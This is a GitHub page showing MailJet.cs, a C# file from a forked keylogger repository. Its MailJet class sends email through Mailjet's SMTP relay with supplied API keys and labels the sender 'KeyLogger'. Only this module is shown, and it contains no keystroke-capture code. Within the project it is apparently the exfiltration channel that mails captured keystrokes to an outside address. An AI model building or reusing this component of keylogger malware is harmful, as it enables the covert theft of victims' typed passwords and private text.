forked from mastercs999/keylogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMailJet.cs
62 lines (51 loc) · 1.83 KB
/
MailJet.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;
namespace Keylogger.Mail
{
/// <summary>
/// Represents mailjet.com provider for sending emails for free
/// </summary>
public class MailJet : IMailProvider
{
private string PublicKey;
private string PrivateKey;
public MailJet(string publicKey, string privateKey)
{
PublicKey = publicKey;
PrivateKey = privateKey;
}
/// <summary>
/// This function sends mail specified by arguments
/// </summary>
/// <param name="address">Recipient of the email</param>
/// <param name="subject">Email's subject</param>
/// <param name="message">Text of the email</param>
public void SendMail(string address, string subject, string message)
{
using (SmtpClient client = new SmtpClient())
using (MailMessage mail = new MailMessage(new MailAddress(address, "KeyLogger"), new MailAddress(address)))
{
client.Port = 587;
client.EnableSsl = true;
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.UseDefaultCredentials = false;
client.Credentials = new NetworkCredential(PublicKey, PrivateKey);
client.Host = "in-v3.mailjet.com";
client.SendCompleted += (sender, e) =>
{
if (e.Error != null)
throw e.Error;
};
mail.Subject = subject;
mail.Body = message;
client.Send(mail);
}
}
}
}